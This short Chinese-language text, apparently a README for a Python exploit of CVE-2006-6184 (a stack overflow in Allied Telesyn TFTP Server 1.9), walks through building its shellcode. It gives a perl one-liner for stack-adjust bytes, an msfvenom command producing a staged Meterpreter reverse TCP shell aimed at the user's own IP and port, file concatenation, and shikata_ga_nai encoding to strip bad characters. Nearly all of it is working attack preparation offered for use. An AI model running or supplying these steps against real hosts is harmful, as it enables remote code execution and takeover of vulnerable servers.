这是一个基于 Python 的独立漏洞利用程序，针对 CVE-2006-6184。该漏洞利用程序在 Allied Telesyn TFTP Server (AT-TFTP) 1.9 及可能更早版本中触发基于栈的缓冲区溢出，允许远程攻击者造成拒绝服务或执行任意代码。
必须对 payload 进行定制，使其包含您自己的 IP 地址和监听端口，因此您需要手动生成它。 为此，请按照以下步骤操作：
1.) 输入以下命令，以创建需要从堆栈指针中减去的量（3500）的十六进制文件：
perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj
2.) 接下来，使用以下命令创建分阶段的 meterpreter shell payload：
msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=[your IP] LPORT=[your port] R > payload
3.) 然后，将刚刚创建的两个文件合并。
cat stackadj payload > shellcode
4.) 最后，让我们消除坏字符。
msfvenom -p generic/custom PAYLOADFILE=./shellcode -b "\x00" -e x86/shikata_ga_nai -f python
将输出作为 "payload" 变量的值。您可能需要运行此漏洞利用程序几次才能使其生效。